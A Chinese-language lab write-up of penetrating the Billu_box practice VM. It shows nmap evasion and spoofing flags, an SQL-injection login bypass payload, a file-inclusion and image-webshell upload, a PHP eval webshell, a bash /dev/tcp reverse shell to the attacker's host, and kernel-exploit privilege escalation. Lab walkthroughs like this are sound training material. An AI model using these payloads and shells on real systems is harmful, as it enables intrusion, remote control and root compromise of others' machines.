Billu_box靶機滲透
0x00 準備
靶機:Billu_box Ubuntu 192.168.4.129
主機:Debain 192.168.4.128
VMnet8(NAT 模式)

0x01 資訊收集
1.1、主機發現

發現靶機,
1.2、埠掃描

靶機僅開放了22埠和80埠,
補充幾個點:
nmap常用功能
- 探測主機存活
- 掃描埠
- 探測主機作業系統資訊
- 檢測漏洞
nmap常用命令
-A全面掃描,服務版本探測-sV,-O作業系統,-p埠,-v顯示詳細掃描內容
nmap 單ip/多ip/ip段/網段
nmap -p T:80,U:445 192.168.1.103
nmap x.x.x.x --script=http-waf-detect.nse Waf識別
nmap -D x.x.x.1,x.x.x.2,x.x.x.3 目標IP 多IP掃描目標,迷惑目標管理員,避免封ip
nmap -S 偽造IP -e eth0 目標IP 偽造源地址
nmap x.x.x.x --spoof-mac 11:11:11:11:11:11 MAC地址欺騙
nmap -sV --version-intensity (0-9) 192.168.1.103 設定掃描強度
nmap -F 192.168.1.1.103 (快速掃描)nmap -sF -T4 192.168.0.105 探測防火墻狀態
nmap -iL D:\targets.txt
nmap 192.168.0.100/24 -exclude 192.168.0.105 掃描除某一個目標地址之外的所有目標地址
nmap 192.168.0.100/24 -exclude D:\targets.txt 掃描除某一檔案中的目標地址之外的目標地址
nmap --traceroute 192.168.0.105nmap -sS -p1-100 x.x.x.x --open syn掃描,并只顯示開放的埠(syn掃描:高效,隱蔽,不建立連接,不記錄掃描行為)
nmap -p445 x.x.x.x --srcipt=ipidseq.nse 判斷是否可以做為僵尸機
nmap 目標IP -sI 僵尸機IP -Pn -p1-100 使用僵尸機掃描目標nmap smtp.163.com -p25 --script=smtp-enum-users.nse --script-args=smtp-enum-users.methods={VRFY} SMTP掃描(發現郵箱賬號)
nmap -sN 61.241.194.153(NULL掃描)
nmap -sF 61.241.194.153(FIN掃描)
nmap -sW -v -F 192.168.1.103 TCP 視窗掃描
nmap -sI www.0day.co:80 192.168.1.103 空閑 掃描( 隱藏IP )防火墻/IDS逃逸
- 報文分段
nmap -f -v 61.241.194.153- 指定偏移大小
nmap --mtu 16 192.168.1.104- IP欺騙
nmap -D RND:11 192.168.1.104
nmap -D 192.168.1.104,192.168.1.103,192.168.1.101 192.168.1.104- 源地址欺騙
nmap -sI www.0day.cn:80 192.168.1.104- 源埠欺騙
nmap --source-port 902 192.168.1.104- 指定發包長度
nmap --data-length 30 192.168.1.104- 目標主機隨機排序
nmap --randomize-hosts 192.168.1.104- MAX地址欺騙
nmap -sT -Pn --spoof-mac 0 192.168.1.104IP反查
nmap -sn --script hostmap-ip2hosts www.pcos.cnnmap:掃埠,主機,作業系統,服務,漏洞,
nmap掃描速度要比nc快
nmap不加引數默認是SYN掃描使用nmap驗證多種漏洞
https://www.cnblogs.com/-qing-/p/10658901.html
1.3、目錄掃描


1.4、埠訪問
訪問靶機80埠,

是一個登錄視窗,"Show me your SQLI skills"提示利用SQL注入,
嘗試萬能鑰匙

萬能密碼和常規注入都不能登錄進去,
訪問其它檔案,
add目錄有檔案上傳點,

嘗試上傳一個木馬,上傳之后沒有任何回顯,再看看其它檔案,
在image目錄發現三個圖片檔案

在in目錄下發現作業系統資訊


allow_url_fopen=on(允許遠程讀取檔案)
allow_url_include = Off(禁止參考URL檔案)
找到網站路徑

在phpmy檔案中發現phpmyadmin

萬能密碼和字典爆破都沒有成功,
在test檔案中發現

翻譯:“file”引數為空,請在“file”引數中提供檔案路徑
隨意提交一個引數

GET傳參沒有效果,試試POST傳參,

檔案不存在,嘗試file=index.php

提示下載index.php檔案,說明這里存在任意檔案下載漏洞,我們可以利用任意檔案下載漏洞下載檔案,從原始碼中得到資訊,
也可以利用任意檔案下載漏洞下載phpmyadmin組態檔,
在index.php檔案中發現用戶登錄查詢陳述句,

在panel.php發現兩個檔案c.php和head2.php,

下載這兩個檔案,
在c.php中發現資料庫用戶名和密碼

在test.php檔案中找到任意檔案下載漏洞產生的原因:后端對用戶傳入的資料沒有做任何的檢測,導致用戶可以下載任意檔案,

在panel.php檔案中發現后端對上傳檔案的過濾

由于有白名單的存在,只能上傳后綴名為"jpeg、jpg、gif、png"的檔案,所以即使上傳了圖片馬也不能訪問,
在panel.php檔案的前部分發現檔案包含漏洞

后端對傳入的引數沒有進行任何檢測和過濾,我們可以利用檔案上傳+檔案包含漏洞,
在config.inc.php檔案中發現SSH用戶名和密碼


0x02 漏洞利用
2.1、賬戶登錄
2.1.1、用戶名、密碼登錄
利用從原始碼中獲取到的資料庫用戶名和密碼登錄資料庫
在ica_lab資料庫的users表中發現一個用戶

利用得到的用戶資訊登錄index頁面,

登陸成功!
2.1.2、萬能密碼登錄
也可以利用SQL注入漏洞構造萬能密碼繞過
代碼審計:
$uname=str_replace('\'','',urldecode($_POST['un'])); //過濾單引號
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
str_replace() 函式以其他字符替換字串中的一些字符(區分大小寫),
引數先經過 urldecode() 函式解碼,然后 str_replace() 函式將引數中可能存在的單引號轉換為空
構造資料庫查詢陳述句的時候單引號參考引數然后進行拼接,
利用思路:
原始碼中出現的 \ ’ 符號,其中的反斜杠只是起到獨立單引號的作用,這個時候可以將其當作一個字串,同時它也不能起到閉合其他單引號的作用,由于單引號是成對出現的,所以在單引號前面添加反斜杠可以讓單引號獨立出來,所以在這里可以構造如下的 payload 進行注入,
構造的payload:
uname=or 1=1 #
pass=admin\
最后拼接的陳述句為
select * from auth where pass='admin\' and uname='or 1=1 #''

繞過成功!
2.2、上傳木馬
在panel.php中有兩個模塊,Show Users模塊和Add User模塊,

在Add User模塊存在檔案上傳點

根據剛才的原始碼分析,這里存在檔案包含漏洞,上傳的檔案后綴名只能為"jpeg、jpg、gif、png",
上傳圖片木馬

system()執行系統命令
上傳成功!

通過原始碼可知圖片馬被保存在uploaded_images目錄下

訪問該檔案

分析后端原始碼

引數load用于加載圖片路徑,由于圖片馬被保存在uploaded_images目錄下,所以通過POST構造傳遞的引數load=/uploaded_images/001.jpg&continue=continue
通過GET傳參執行命令,

木馬決議成功!

補充幾個點:
在Linux /etc/passwd檔案中每個用戶都有一個對應的記錄行,它記錄了這個用戶的一些基本屬性,系統管理員經常會接觸到這個檔案的修改以完成對用戶的管理作業,

查看檔案執行權限
執行 ls -la(以串列的實行顯示檔案)
解釋:
ls 命令將每個由 Directory 引數指定的目錄或者每個由 File 引數指定的名稱寫到標準輸出,以及您所要求的和標志一起的其它資訊,如果不指定 File 或 Directory 引數, ls 命令顯示當前目錄的內容,
-a表示顯示所有檔案及目錄 (ls內定將檔案名或目錄名稱開頭為"."的視為隱藏檔,不會列出),
-l表示除檔案名稱外,亦將檔案型態、權限、擁有者、檔案大小等資訊詳細列出,


可以利用寫權限在靶機寫入一句話木馬
echo '<?php eval($_POST['hacker'])?>' >> uploaded_images/shell.php

測驗一下是否寫入成功,查看uploaded_images目錄,在該目錄中有shell.php檔案

寫入成功!
用蟻劍連接

連接成功!
0x03 提權
3.1、利用內核版本的exp提權
3.1、查看靶機資訊
打開蟻劍的虛擬終端查看靶機版本資訊
whoami
uname -a
cat /etc/issue
補充幾個點:
uname 可顯示電腦以及作業系統的相關資訊,
引數說明:
-a或–all 顯示全部的資訊,
-m或–machine 顯示電腦型別,
-n或–nodename 顯示在網路上的主機名稱,
-r或–release 顯示作業系統的發行編號,
-s或–sysname 顯示作業系統名稱,
-v 顯示作業系統的版本,
–help 顯示幫助,
–version 顯示版本資訊,
/etc/issue 查看linux系統版本

3.1.2、尋找EXP
利用kali自帶的漏洞庫查看可利用的EXP
searchsploit linux 3.13.0

將腳本復制到 tmp 目錄下,編譯后在 tmp 開啟 80 服務,可供蟻劍下載該目錄下的檔案
cp /usr/share/exploitdb/exploits/linux/local/37292.c /tmp
gcc 37292.c -o shell 運行exp
python -m SimpleHTTPServer 80 開啟80服務
python -m 將庫中的python模塊用作腳本去運行,
比如:
python -m SimpleHTTPServer #python2中啟動一個簡單的http服務器
python -m http.server #python3中啟動一個簡單的http服務器python xxx.py 直接運行py檔案
python -m xxx.py 當作模塊來啟動

開啟80服務

3.1.3、撰寫shell
寫撰寫shell
<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.4.128/6666 0>&1'");
?>
補充幾個點:
什么是反彈shell(reverse shell)?
就是控制端監聽某TCP/UDP埠,被控端發起請求到該埠,并將其命令列的輸入輸出轉到控制端,reverse shell與telnet,ssh等標準shell對應,本質上是網路概念的客戶端與服務端的角色反轉,
為什么需要反彈shell?
反彈shell通常用于被控端因防火墻受限、權限不足、埠被占用等情形,在滲透程序中,往往因為埠限制而無法直連目標機器,此時需要通過反彈shell來獲取一個互動式shell,以便繼續深入,
shell引數解釋
system()函式 system — 執行外部程式,并且顯示輸出,
bash -c 是為了保證命令使用shell來執行, -c 的意思是 command,所以 bash -c 后面應該跟一個 command,
bash -i代表在本地打開一個bash,然后就是/dev/tcp/ip/port, /dev/tcp/是Linux中的一個特殊設備,打開這個檔案就相當于發出了一個socket呼叫,建立一個socket連接,所謂套接字(Socket),就是對網路中不同主機上的應用行程之間進行雙向通信的端點的抽象,>&后面跟上/dev/tcp/ip/port這個檔案代表將標準輸出和標準錯誤輸出重定向到這個檔案,也就是傳遞到遠程上,如果遠程開啟了對應的埠去監聽,就會接收到這個bash的標準輸出和標準錯誤輸出,這個時候我們在本機輸入命令,輸出以及錯誤輸出的內容就會被傳遞顯示到遠程,
>是將標準輸出重定向,一個代表新建或者覆寫后面的檔案,兩個代表向檔案中追加資訊
<是標準輸入重定向后面多了0>&1和0>&2,表示將輸入也送入終端,既想在centos虛擬機的輸入,要在kali中輸入,顯示結果也在kali中顯示,但是第一種的輸入是在centos中輸入,
0代表標準輸入、1代表標準輸出、2代表標準錯誤輸出、3代表重定向到遠程

利用蟻劍將反彈shell放到uploaded_images目錄下

開啟埠監聽

補充幾個點
什么是nc
nc是netcat的簡寫,有著網路界的瑞士軍刀美譽,因為它短小精悍、功能實用,被設計為一個簡單、可靠的網路工具
nc的作用
(1)實作任意TCP/UDP埠的偵聽,nc可以作為server以TCP或UDP方式偵聽指定埠
(2)埠的掃描,nc可以作為client發起TCP或UDP連接
(3)機器之間傳輸檔案
(4)機器之間網路測速
引數說明:
- -g<網關> 設定路由器躍程通信網關,最多可設定8個,
- -G<指向器數目> 設定來源路由指向器,其數值為4的倍數,
- -h 在線幫助,
- -i<延遲秒數> 設定時間間隔,以便傳送資訊及掃描通信埠,
- -l 使用監聽模式,管控傳入的資料,
- -n 直接使用IP地址,而不通過域名服務器,
- -o<輸出檔案> 指定檔案名稱,把往來傳輸的資料以16進制字碼傾倒成該檔案保存,
- -p<通信埠> 設定本地主機使用的通信埠,
- -r 亂數指定本地與遠端主機的通信埠,
- -s<來源位址> 設定本地主機送出資料包的IP地址,
- -u 使用UDP傳輸協議,
- -v 顯示指令執行程序,
- -w<超時秒數> 設定等待連線的時間,
- -z 使用0輸入/輸出模式,只在掃描通信埠時使用
用瀏覽器訪問反彈sehll

3.1.4、反彈shell
瀏覽器訪問shell后在主機上成功反彈shell

3.1.5、利用exp提權
查看shell的執行權限(x 代表可執行),直接運行會報錯,

Linux 系統下遇到 cannot execute binary file 的問題,一般由如下情況造成:
1、非 root 用戶或者無執行權限
2、編譯環境不同(程式由其他作業系統復制過來)對于第一種情況,對腳本添加執行權限即可(chmod +x shell)
對于第二種情況,只需包改腳本的二進制檔案拷貝過來,在新的環境編譯即可
重新運行exp,查看權限

root權限,提權成功!
3.2、利用SSH提權
嘗試SSH登錄,在源代碼中有用戶名和密碼

利用SSH服務嘗試遠程登錄

登錄成功!
查看權限

root權限,提權成功!
0x04 總結
1.漏洞挖掘:test頁面存在post形式的檔案包含(檔案任意下載),panel.php頁面存在檔案包含漏洞
2.漏洞利用:檔案上傳getshell
3.利用getshell在靶機寫一句話木馬,通過蟻劍連接一句話木馬
4.查看靶機系統資訊,尋找可用EXP
5.利用反彈shell和內核漏洞提權
??
??
??
??
The quieter you become, the more you are able to hear.
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/292633.html
標籤:其他
